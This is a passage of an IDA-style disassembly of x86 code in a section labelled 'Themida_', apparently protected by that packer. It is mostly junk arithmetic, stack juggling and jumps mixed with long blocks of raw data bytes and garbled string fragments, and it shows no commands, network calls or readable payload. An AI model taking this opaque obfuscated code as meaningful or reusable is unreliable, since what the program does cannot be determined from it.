		dd 0E9C18966h, 5CD2h, 1144BFBBh, 0E9DBF71Eh, 0B3A6h, 327D5435h
		dd 4D25357Eh, 0E2E95A48h, 550000D3h, 0CCC5E9h, 4875900h
		dd 0EC835C24h, 240C8904h, 0D9BE9h
		db 0
; ---------------------------------------------------------------------------

loc_552159:				; CODE XREF: Themida_:00553FBFj
		xor	ebp, 1C98C7h
		jmp	loc_5541CC
; ---------------------------------------------------------------------------

loc_552164:				; CODE XREF: Themida_:0055C5F5j
		add	eax, 7BC02B91h
		sub	eax, 8880DDCh
		add	eax, 62A2103Eh
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	39AAh
		mov	[esp], ecx
		jmp	loc_550420
; ---------------------------------------------------------------------------
aB0unaSe	db 'Ă0㭝)Ýé…Ĺ',0
		align 2
		dw 0B951h
		dd 308A34B9h, 8244C29h,	242C8B59h, 0E904C483h, 0FFFFE270h
; ---------------------------------------------------------------------------

loc_5521B0:				; CODE XREF: Themida_:005584E9j
		not	dword ptr [esp]
		pop	eax
		xor	eax, 0A47D573Ah
		sub	edx, eax
		pop	eax
		jmp	loc_55947A
; ---------------------------------------------------------------------------
		dd offset dword_582A68
		align 2
		dw 2C89h
		dd 9136824h, 24890000h,	24048324h, 0E9515D04h, 1BAFh, 0E9028F66h
		dd 49D2h, 2BEEBF57h, 0CF815721h, 18263805h, 0CE9EFD1h
		dd 8900012Dh, 0E954243Ch, 10Bh,	24048B66h, 7EA668h, 240C8900h
		dd 0E904EC83h, 0FFFFF26Fh
; ---------------------------------------------------------------------------

loc_552214:				; CODE XREF: Themida_:005523EFj
		mov	ebp, esi
		jmp	loc_55C350
; ---------------------------------------------------------------------------
		db 35h
		dd 0ABAFF43Fh, 0E958C301h, 0A2B2h, 35D8F75Ah, 0F4D3DBAAh
		dd 0E9E9C131h, 33000136h, 248B2414h, 0C8B6624h,	0B0EBE924h
		dd 2C890000h, 0E3895324h, 0FE71E9h, 87F68100h, 0F7652F0Ah
		dd 76BA52DEh, 0E903AD3Ah, 9A23h
; ---------------------------------------------------------------------------

loc_552264:				; CODE XREF: Themida_:00561F1Bj
		xor	ecx, eax
		push	786Dh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6342h
		mov	[esp], ecx
		jmp	loc_5531A8
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 59h
		dd 0BB53C601h, 711F42B8h, 0E516E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5522A2:				; CODE XREF: Themida_:00561430j
		push	ebp
		mov	ebp, 77D23EE0h
		push	edx
		jmp	loc_55354A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 685AD701h, 7E61h,	0CD10E9h, 65E95000h, 5C00000Fh
		dd 8904EC83h, 2BB241Ch,	57000000h, 3B10DEBFh, 5FF80137h
		dd 0DE2DD801h, 5B373B10h, 2474FF50h, 24048B04h,	8F04C483h
		dd 0B8E92404h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5522F7:				; CODE XREF: Themida_:005639E1j
		mov	[esp], esp
		jmp	loc_55B08C
; ---------------------------------------------------------------------------
		db 66h
		dd 665AD029h, 0D2E9D801h, 5F00005Ah, 4C781h, 0B9510000h
		dd 2B7601E9h, 8107E9C1h, 0C3560EE1h, 17E1810Ch,	81527D35h
		dd 4ECh, 24348900h, 6DEAE9h, 4C48100h, 51000000h, 0F18059B1h
		dd 0E2E950E5h, 3300005Dh, 60E92414h, 5A00012Dh,	12439E9h
		db 0
; ---------------------------------------------------------------------------

loc_552355:				; CODE XREF: Themida_:005627FEj
		add	edi, 0CCDAE9B3h
		mov	edx, edi
		pop	edi
		jmp	loc_55C56A
; ---------------------------------------------------------------------------
		db 29h
		dd 34FF245Fh, 0C4815B24h, 4, 4EC81h, 1C890000h,	0E95B5424h
		dd 0BA96h, 3456E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552386:				; CODE XREF: Themida_:005533D8j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5610ED
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFFE088h, 0A2CCE95Bh, 0C3010000h, 0E9FFE956h
		dd 8F5C0000h, 0E95C2404h, 4B0Bh, 0E953D2F7h, 0BDDEh, 33241431h
		dd 248B2414h, 0EBEE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5523C6:				; CODE XREF: Themida_:0055FC47j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 80h
		jmp	loc_552214
; ---------------------------------------------------------------------------
		dd 0E4C0E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5523FA:				; CODE XREF: Themida_:00552415j
		mov	eax, 73E01CCAh
		inc	eax
		sub	eax, 73E01CC7h
		sub	edi, 22DE353Ch
		add	edi, eax
		jmp	loc_554B3E
; ---------------------------------------------------------------------------

loc_552412:				; CODE XREF: Themida_:005608A2j
		mov	[esp], eax
		jmp	loc_5523FA
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4F03E924h, 0CA810000h, 2602573Ah, 85C28142h,	1589C28h
		dd 0C3835AD3h, 241C8704h, 8961E9h, 4C48100h, 33000000h
		dd 1C31241Ch, 241C3324h, 5224248Bh, 61D5E9h, 0C8B6600h
		dd 30F26824h, 1C890000h, 505B5424h, 4B8h, 58C30100h, 0F026E955h
		dd 3C870000h, 0A9E95C24h
		db 2Ch,	1, 0
; ---------------------------------------------------------------------------

loc_55247B:				; CODE XREF: Themida_:00562CF8j
		mov	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		push	esi
		jmp	loc_564AC5
; ---------------------------------------------------------------------------
aUss		db 'U鑚',0
		align 4
		dd 0E96CF280h, 0B129h, 8904EC83h, 5D54242Ch, 0D9BE5650h
		dd 0E9501542h, 927Fh, 24048B66h, 1FCB68h, 24048900h, 0B951E089h
		dd 6BDE637Dh, 380E981h,	0E9410246h, 1F06h
; ---------------------------------------------------------------------------

loc_5524D0:				; CODE XREF: Themida_:00552BEFj
		push	164Fh
		mov	[esp], ebx
		push	edi
		mov	edi, 4050B2Fh
		mov	ebx, 40E007A2h
		xor	ebx, edi
		jmp	loc_55CC1F
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	4C3h, 74FF5300h, 7CE90424h, 5C0000B4h
		dd 0E8FE9h
		db 0
; ---------------------------------------------------------------------------

loc_552509:				; CODE XREF: Themida_:005643B2j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_558603
; ---------------------------------------------------------------------------
		dw 0D15Ch
		dd 13BE9EFh, 0C2810000h, 10852FADh, 2C5C68h, 24348900h
		dd 3230E3BEh, 5EF22977h, 0C281CA01h, 773230E3h,	67BDE9h
		dd 240C8900h, 0A817E9h,	24148B00h, 4C481h, 87570000h, 0DDF7242Ch
		dd 0E9242C87h, 0AEF4h, 9D1C77FFh, 19665866h, 0E99C2404h
		dd 0FFFFDEB0h, 68240C89h, 344h,	1B41E9h, 8B666400h, 88686602h
		dd 489664Ch, 0DE92E924h, 0C328FFFFh, 0E90FEB80h, 0FFFFF71Ah
		dd 4C481h, 0C6810000h, 4, 1738E9h, 48F5F00h, 6CC2E924h
		dd 0E3800000h, 0DECEE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5525BA:				; CODE XREF: Themida_:0055413Cj
		mov	edx, 57E73E10h
		add	edx, 690664B7h
		or	edx, 539D7737h
		neg	edx
		xor	edx, 2C02080Dh
		add	ebp, edx
		pop	edx
		jmp	loc_55609F
; ---------------------------------------------------------------------------

loc_5525DB:				; CODE XREF: Themida_:0056599Bj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_551544
; ---------------------------------------------------------------------------
		dw 8B59h
		dd 89502404h, 405E0h, 0C0830000h, 24048704h, 32E3E95Ch
		dd 0A9680001h, 89000017h, 61BF243Ch, 57102757h,	5F2414F7h
		dd 0FFFFEF81h, 8BE9FFFFh, 89FFFFF6h, 26E958C3h,	890000D8h
		dd 11682404h, 89000020h, 0EC812424h, 4,	0D63CE9h, 0FAC78100h
		dd 1CF8078h, 0E9505FF8h, 236h
; ---------------------------------------------------------------------------

loc_552668:				; CODE XREF: Themida_:005504B9j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp

loc_55266F:				; CODE XREF: Themida_:loc_561A1Ej
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_560762
; ---------------------------------------------------------------------------

loc_55267B:				; CODE XREF: Themida_:00564A7Cj
		mov	[esp], ebx
		push	ebp
		mov	ebp, 396107AFh
		mov	ebx, 72CB72FBh
		sub	ebx, ebp
		pop	ebp
		or	edi, ebx
		pop	ebx
		not	edi
		xor	edi, 0B130EFE1h
		sub	edx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55F228
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 6ED3E9h, 81FD0100h, 6575E4EDh, 0BAE95F74h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5526BF:				; CODE XREF: Themida_:0055E24Fj
		add	ecx, 543570B9h
		sub	ecx, ebp
		sub	ecx, 543570B9h
		jmp	loc_56184F
; ---------------------------------------------------------------------------
		dw 22B6h
		dd 0E972C680h, 1321Ah
; ---------------------------------------------------------------------------

loc_5526DC:				; CODE XREF: Themida_:005547CAj
		push	656A65CFh
		jmp	loc_55617F
; ---------------------------------------------------------------------------
aUs		db 'Ué×|',0
		align 4
		dd 143DE955h, 5E5E0001h, 14F7574Fh, 243C8B24h, 0F704C483h
		dd 95B850D7h, 549DF45h,	2894FEDDh, 5158C721h, 0EFEE9h
		dd 48B6600h, 2A67E924h,	0E6890000h, 0E52BE9h, 4B900h, 0B9510000h
		dd 587A7299h, 8105E9C1h, 0DE257AE9h, 0E9814902h, 905C436Dh
		dd 8159CF01h, 9A0D89C7h, 51CF0121h, 0E23760B9h,	8E9C14Ah
		dd 2B52C181h, 0CF29214Fh, 0BA525059h, 138A77C1h, 0D596E955h
		dd 24890000h, 4BB5324h,	1000000h, 5B04245Ch, 4EC835Fh
		dd 0E9241489h, 0FE9Dh, 24048B66h, 143468h, 241C8900h, 0C381E389h
		dd 4, 251368h, 24048900h, 4BB53h, 0D8890000h, 8BC3295Bh
		dd 0C4812404h, 4, 31241C33h, 1C33241Ch,	0D5E95C24h, 89000126h
		dd 74FF241Ch, 34FF0424h, 0C4835B24h, 24048F04h,	6824248Bh
		dd 7470h, 0BB241C89h, 4DFD525Ch, 36685752h, 5F36270Ch
		dd 41D2EF81h, 0BE565138h, 7C044F04h, 4E49F681h,	0FFE95787h
		dd 810000A9h, 4C4h, 40500h, 4870000h, 0C36AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552816:				; CODE XREF: Themida_:0055C03Dj
		push	7443h
		mov	[esp], eax
		jmp	loc_551ED9
; ---------------------------------------------------------------------------

loc_552823:				; CODE XREF: Themida_:00559DA0j
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------

loc_55282B:				; CODE XREF: Themida_:00556EB6j
		push	ebp
		push	2
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_565B11
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C8704h, 2434335Ch, 7AB4E9h, 246C8100h
		dd 35DBE04h, 0AEA8E939h, 0E0C10000h, 0B8505308h, 25FB42C6h
		dd 12369E9h, 8C2C00h, 2C8C04F8h, 30E95B73h, 89000058h
		dd 2434FFF7h, 4C4815Eh,	0E9000000h, 0FA3Ah
; ---------------------------------------------------------------------------

loc_55288C:				; CODE XREF: Themida_:00558F67j
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		sub	[esp], eax
		jmp	loc_55956B
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0F5E90424h, 0F6000078h, 0F6C6FEDEh, 0D6C680DEh, 0B3E9F728h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5528B7:				; CODE XREF: Themida_:0055539Fj
		xchg	esi, [esp]
		jmp	loc_55BE88
; ---------------------------------------------------------------------------
aL4SE		db '‹4$é{e',0
		dw 8700h
		dd 5EE92404h, 660000EFh, 6824048Bh, 2BDDh, 0E9243C89h
		dd 215Bh, 0DE0DE951h, 489FFFFh,	3069B824h, 5405EAAh, 0FFFFFFFFh
		dd 306DB951h, 0C8315EAAh, 0E9C50159h, 967Dh, 68240C8Bh
		dd 4913h, 68243489h, 8D1h, 83242489h, 0E9042404h, 0DDE6h
		dd 3160C181h, 0C7E91947h, 5EFFFFDEh, 16EC68h, 24048900h
		dd 5656857h, 815F795Fh,	9364D8F7h, 5FF8897Ch, 58992D40h
		dd 0C229E38Fh, 0EAEA8158h, 811AF05Ch, 6154ABEEh, 87EE8150h
		dd 110826Ch, 87C681D6h,	0E910826Ch, 0F0C0h, 8704C283h
		dd 0E95C2414h, 11626h
; ---------------------------------------------------------------------------

loc_552978:				; CODE XREF: Themida_:00563E1Dj
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 95D5234h
		neg	esi
		push	edi
		mov	edi, 27BA6316h
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 580317D1h
		and	edi, 63627DFAh
		push	eax
		jmp	loc_550743
; ---------------------------------------------------------------------------
		dw 0F7B8h
aW5tzt@s	db 'wŢ',0Ah
		db '5tZâ#@éŐĂ',0
		align 2
		dw 148Bh
		dd 4C48124h, 4000000h, 2CD82832h, 72816832h, 14890000h
		dd 0B6525324h, 2888B78Eh, 0FA885AF7h, 81DAF65Bh, 4ECh
		dd 0E66EE900h, 8B66FFFFh, 8956240Ch, 4EC81E6h, 0E9000000h
		dd 10C76h, 0B9E9DA87h, 5F000090h, 0F7E9E901h, 550000F4h
		dd 6653F868h, 0EDC15D08h, 3BBE5604h, 29008665h,	0C6815EF5h
		dd 559C582Eh, 0EE81EE01h, 559C582Eh, 0E9242C8Bh, 685Dh
		dd 0B3535A66h, 0B2526640h, 65ADE9EBh, 515A0000h, 2552E9h
		dd 0AAC78100h, 0E9338B1Ah, 0AD1h, 17744EBAh, 5AD1011Dh
		dd 2694E9h, 24048F00h, 76E9D3F7h, 0B7000022h, 5BFA2085h
		dd 0FEFFC280h, 0A9EA80C2h, 50E9D028h, 0C1000106h, 0EF8104EFh
		dd 23D34AFh, 3C8BFD89h,	4C48324h, 312BE9h, 5DB95100h, 8349B468h
		dd 48904ECh, 383DB824h,	44812534h, 3B2F0824h, 31E926A4h
		dd 59000030h, 56E96E2Ch, 5E0000A9h, 8B242C87h, 0E9F62424h
		dd 0A03EE9h, 2434FF00h,	4C4835Dh, 31240433h, 4332404h
		dd 24248B24h, 0E92434FFh, 0D1C6h, 8BC5885Bh, 9E92404h
		dd 48FFFFEAh, 9F50E9h, 54DABF00h, 0DF29598Ch, 0E9FE015Bh
		dd 0F01h, 58C70159h, 39C4E9h, 0D1015800h, 0C8B2989h, 4C48124h
		dd 5D000000h, 5B385A29h, 59EF68h, 24348900h, 9A80E9h, 320C6800h
		dd 34890000h, 0C883E924h, 77890000h, 0D6A2E920h, 0C3810000h
		dd 4, 0E904EB83h, 0FFFFDAD5h, 3168565Bh, 0E9000061h, 7BFEh
		dd 565FF901h, 4BEh, 0C2E98100h,	0E946D856h, 0BC2Eh, 8158C701h
		dd 4D7944C6h, 0E9FE0132h, 2626h, 2BC668h, 8218E900h, 0C4810000h
		dd 4, 12FC6E9h,	0BEE95300h, 8100009Dh, 540026C1h, 0BDEE81C6h
		dd 2977E23Ah, 0BDC681CEh, 0E977E23Ah, 12694h, 8159CA31h
		dd 8A3DACEFh, 0C3E95624h, 5A000061h, 0E958C288h, 8FBFh
		dd 16E6B951h, 0E18104E3h, 607F108Eh, 9D8CE9h, 241C8B00h
		dd 0E904C483h, 354Dh, 104C483h,	2434FFC6h, 6D7EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552BEA:				; CODE XREF: Themida_:00562A38j
		mov	ecx, 600F5C72h
		jmp	loc_5524D0
; ---------------------------------------------------------------------------
		dd 4B9h, 19A8E900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552BFE:				; CODE XREF: Themida_:00564E16j
		sub	dh, 0E5h
		jmp	loc_550DF6
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 67FCh
; ---------------------------------------------------------------------------

loc_552C0C:				; CODE XREF: Themida_:00553BE2j
		shr	ebp, 5
		jmp	loc_561959
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0BF30h
; ---------------------------------------------------------------------------

loc_552C1C:				; CODE XREF: Themida_:00553A7Aj
		xchg	ecx, ebp
		add	ebp, 79756F6Ch
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		not	edi
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 169705F0h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		and	eax, ebx
		jmp	loc_560256
; ---------------------------------------------------------------------------
		dd 8704E983h, 248B240Ch, 440FE924h, 0B3BE0000h,	0F774E76Eh
		dd 0EB2AE9DEh, 0C281FFFFh, 33F71A71h, 2414335Eh, 33241431h
		dd 8BE92414h, 250000F4h, 73783B49h, 0F708E8C1h,	1F092DD8h
		dd 0EC81D2FDh, 4, 0E9241489h, 1091Dh, 83243C8Bh, 0BEE904C4h
		dd 810000BDh, 0E52743EEh, 35E95659h, 6600001Ah,	50241C89h
		dd 0D778E9h
		db 0
; ---------------------------------------------------------------------------

loc_552CC9:				; CODE XREF: Themida_:0055D17Aj
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, cl
		mov	dl, bh
		pop	ebx
		mov	bh, dl
		pop	edx
		push	edx
		mov	dh, bh
		jmp	loc_55168A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 0FFFFFF6Ch, 0E16360BAh, 94E95576h
		dd 5F000111h, 5C24048Fh, 81240C89h, 4ECh, 241C8900h, 7A95E9h
		dd 0C3316600h, 66C0B70Fh, 665FFF68h, 0E9240489h, 0FFFFD6FCh
		dd 348BF031h, 54E95524h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552D2F:				; CODE XREF: Themida_:00558292j
		add	esp, 4
		or	eax, 63633E0Ch
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_563BF3
; ---------------------------------------------------------------------------

loc_552D42:				; CODE XREF: Themida_:00554FB9j
		sub	ebx, 476B7169h
		add	ebx, esi
		add	ebx, 476B7169h
		jmp	loc_5514BF
; ---------------------------------------------------------------------------
		db 1, 0F7h, 5Eh
		dd 0B2BD5556h, 810AD651h, 0C45E28CDh, 6AE5811Fh, 8127956Fh
		dd 8E14A1C5h, 7E90E93Bh, 0D0310000h, 58C5895Ah,	34FFEE01h
		dd 0C4815D24h, 4, 5B91BA52h, 4AE96FFDh,	56000005h, 872B5668h
		dd 68B8E93Ah, 55510000h, 4BDh, 5DE98900h, 0EA02EE2Dh, 83C80106h
		dd 96E904ECh, 0E900012Ah, 0FFFFD664h, 0C681EE29h, 56625B3h
		dd 343BEE81h, 8B5D0F7Ah, 89562414h, 0DB67E9E6h,	0C481FFFFh
		dd 4, 0FFD63FE9h, 4C481FFh, 53000000h, 4BBh, 5BDF0100h
		dd 2474FF57h, 243C8B04h, 80F5E9h, 240C8900h, 0C1815954h
		dd 4, 7296E9h
		db 0
; ---------------------------------------------------------------------------

loc_552E0D:				; CODE XREF: Themida_:0055C8C2j
		mov	[esp], ecx
		mov	ecx, 4BEA415Bh
		add	ecx, 8880E80h
		push	0
		sub	[esp], ecx
		jmp	loc_559E7D
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 68D2324Ah, 92E95953h, 83000051h,	5E042404h
		dd 0FFFBBEE9h, 68665BFFh, 896632CCh, 0DEE92414h, 8B000048h
		dd 0C481242Ch, 4, 4BF57h, 0FE010000h, 2434875Fh, 11A2AE9h
		dd 68C98000h, 84C180h, 9537E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552E76:				; CODE XREF: Themida_:00559041j
		add	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		jmp	loc_55C1E1
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
aZSU		db '‡<$é[U',0
		align 10h

loc_552EA0:				; CODE XREF: Themida_:00561872j
		mov	al, 0C7h
		jmp	loc_557833
; ---------------------------------------------------------------------------
		db 0B9h
		dd 353D39DEh, 5D0DF181h, 5EE95B3Fh
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552EB7:				; CODE XREF: Themida_:0055C665j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_558481
; ---------------------------------------------------------------------------
aZS		db '‡<$éÝ[',0
		align 2
aTbRoiSc	db 'ŃâęŕOi!éçÓ',0
		dw 8300h
		dd 1C8904ECh, 2474FF24h, 241C8B04h, 0E904C483h,	0FFFFFB61h
		dd 0D57B7CB9h, 8BC80177h, 0C481240Ch, 4, 79F368h, 243C8900h
		dd 0A884E9h, 0E9EB0100h, 10596h, 5704C483h, 365283BFh
		dd 1DE9813Bh, 16C8204h,	4EC81F9h, 89000000h, 1DB82404h
		dd 16C8204h, 575F58C1h,	0F8E9E789h, 81000098h, 0A439C0EAh
		dd 6EBF575Bh, 815BF478h, 4ECh, 24048900h, 7FA0E9h, 507CB600h
		dd 852CE8B0h, 788EE9h, 24043300h, 8B24248Bh, 6E682414h
		dd 8900005Eh, 0FF542414h, 815A2434h, 4C4h, 4C28100h, 81000000h
		dd 4ECh, 240C8900h, 4B9h, 0F580E900h, 0EB81FFFFh, 126B0B51h
		dd 0EC81EB01h, 4, 9793E9h, 4E95000h, 0C100003Ch, 0BD5506EFh
		dd 5FB765B6h, 3257C781h, 0EF0140A7h, 3257EF81h,	0F75D40A7h
		dd 68DFh, 0BF570000h, 659963FDh, 4247C01h, 10C5E9h
		db 0
; ---------------------------------------------------------------------------

loc_552FE5:				; CODE XREF: Themida_:0055EDE9j
		push	2D2Eh
		mov	[esp], edx
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	416Eh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_550827
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 6FF76824h, 0C890000h, 0D3E95424h, 890000B0h,	93682404h
		dd 8900007Ah, 0E9240Ch
		db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55303B:				; CODE XREF: Themida_:0055F29Dj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 213632ADh
		inc	ecx
		or	ecx, 2C8A47DEh
		and	ecx, 7E593DF1h
		shl	ecx, 5
		or	ecx, 4A0A43EAh
		push	edx
		mov	edx, 2E88048Dh
		not	edx
		neg	edx
		xor	edx, 30223755h
		and	edx, 2DD0471Eh
		jmp	loc_5511BB
; ---------------------------------------------------------------------------
		dd 4C481h, 0FAE90000h, 810000B6h, 4C4h,	0FFD92100h, 1C8B2434h
		dd 4C48324h, 0B136E950h, 81E90000h, 59FFFFD3h, 0F20DE953h
		dd 89660000h, 0C2E92414h, 0C1000117h, 0F68106EEh, 422A1E2Ch
		dd 15EF301h, 2DC5E9C3h,	525B0000h, 42474FFh, 24048F5Ah
		dd 5624248Bh, 0C681E689h, 4, 3304EE83h,	34312434h, 24343324h
		dd 241C895Ch, 39242C81h, 58008924h, 81E68956h, 4C6h, 0A575E900h
		dd 0C6810000h, 4, 4C681h, 34870000h, 48F5C24h, 0CE95C24h
		dd 500000E1h, 11B50E9h,	3BC38100h, 12E977Eh, 3BEB81C3h
		dd 582E977Eh, 1B17EB81h, 0E9580D37h, 44F2h, 31243433h
		dd 34332434h, 9D615C24h, 0D4E8E9C3h, 28F0000h, 175CE9h
		dd 5FF80100h, 24348150h, 1A427B0Ch, 0CF7815Fh, 581A427Bh
		dd 8817E953h, 34FF0000h, 0ACE95924h, 8B000095h,	0C481242Ch
		dd 4, 8124148Bh, 4C4h, 247C3100h, 0F8D4E904h, 0EC830000h
		dd 0E8B4E904h, 0CB68FFFFh, 0E9000023h, 11937h, 0E92414F7h
		dd 47C2h
; ---------------------------------------------------------------------------

loc_5531A8:				; CODE XREF: Themida_:0055228Cj
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_555F71
; ---------------------------------------------------------------------------

loc_5531C1:				; CODE XREF: Themida_:0056139Ej
		mov	[esp], esi
		jmp	loc_556469
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 8924248Bh, 4BD242Ch,	0E9000000h, 66BCh
; ---------------------------------------------------------------------------

loc_5531DC:				; CODE XREF: Themida_:005641B5j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_550AEC
; ---------------------------------------------------------------------------
		db 68h,	38h, 25h
		dd 0BA680000h, 0E900007Ah, 3B99h, 160AC0BAh, 5FFA011Ah
		dd 0CC02E9h
		db 0
; ---------------------------------------------------------------------------

loc_553205:				; CODE XREF: Themida_:0055C00Ej
		neg	ebp
		jmp	loc_55F629
; ---------------------------------------------------------------------------
		dd 64B7ED81h, 0E4E92BFCh
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553217:				; CODE XREF: Themida_:00558609j
		add	eax, edi
		jmp	loc_56113D
; ---------------------------------------------------------------------------
		dw 5159h
		dd 4B9h, 0E9CE0100h, 0D5Ch, 0F96C62B8h,	87C2D77h, 0D0F71F94h
		dd 992B0C25h, 3F2D4041h, 68EDEB94h, 5A20h, 8B240489h, 0C481242Ch
		dd 4, 0FFD618E9h, 240489FFh, 0C2F2E953h, 0EA800000h, 3E56E9E2h
		dd 8B660000h, 0B4E9240Ch, 8300003Ah, 40504C4h, 83000000h
		dd 148904ECh, 35BD5524h, 0F77EE038h, 0FE581D5h,	0E91F5237h
		dd 6BC0h, 1E981h, 0C4680000h, 89000039h, 0BA52242Ch, 0EF933ECh
		dd 6D98E9h, 5BD82900h, 1D0E442Dh, 1827E94Dh
		db 1, 0
; ---------------------------------------------------------------------------

loc_5532BA:				; CODE XREF: Themida_:00561109j
		mov	ebx, 35F55DDFh
		push	ebx
		jmp	loc_55D977
; ---------------------------------------------------------------------------

loc_5532C5:				; CODE XREF: Themida_:00556AEFj
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		db 31h,	0D6h, 5Ah
		dd 0DF45E956h, 0BF57FFFFh, 1EAA2FC8h, 8104EFC1h, 53241FE7h
		dd 94E78102h, 0E948461Ch, 15CDh, 0F129E95Ch, 0C330000h
		dd 912EE924h, 51520000h, 3C1518B9h, 151CBA74h, 0CA31743Ch
		dd 52D3E959h, 34FF0000h, 240C8B24h, 4EC81h, 0C890000h
		dd 3B17E924h, 0C5810000h, 4, 0E904C583h, 3BA3h,	804DC380h
		dd 63E968F3h, 0BBFFFFF2h, 7D66C31h, 0EF78E9h, 0E9D33000h
		dd 0FFFFD27Bh, 5155BA52h, 0CA8167B7h, 4D341D29h, 51EAC281h
		dd 0E28108E5h, 0FAA2D3Dh, 4D5DC281h, 0C2815B9Ch, 0F5B9F312h
		dd 4E5AD689h, 4EC8357h,	0F5BDE9h, 0E9EB0800h, 4E61h, 0ED81C501h
		dd 8096CAFh, 3A08C581h,	48B01B3h, 4C48124h, 56000000h
		dd 4EC81h, 14890000h, 0DD58E924h, 56550000h, 0ABE2E9h
		dd 5266AC00h, 0DDE9E4B2h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5533CF:				; CODE XREF: Themida_:0055D77Cj
		sub	ebp, esi
		pop	esi
		add	ebp, 0C16ED8F1h
		jmp	loc_552386
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 0E9FA2900h, 11261h, 4C781h, 0EF830000h, 243C8704h
		dd 0A8E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5533FD:				; CODE XREF: Themida_:0055961Fj
		push	esi
		jmp	loc_55A1CA
; ---------------------------------------------------------------------------
		db 66h
		dd 0CD01665Bh, 999E9h, 4BD98700h, 0D1F7D987h, 0CE51E9h
		dd 0D7015800h, 8324148Bh, 0B56804C4h, 0E9000027h, 10006h
		dd 335DEA29h, 14312414h, 24143324h, 8924248Bh, 148B243Ch
		dd 4C48324h, 840FC909h,	0FFFFF6C8h, 8904EC83h, 4812424h
		dd 424h, 6F6CE900h, 68560000h, 56781354h, 8124348Bh, 4C4h
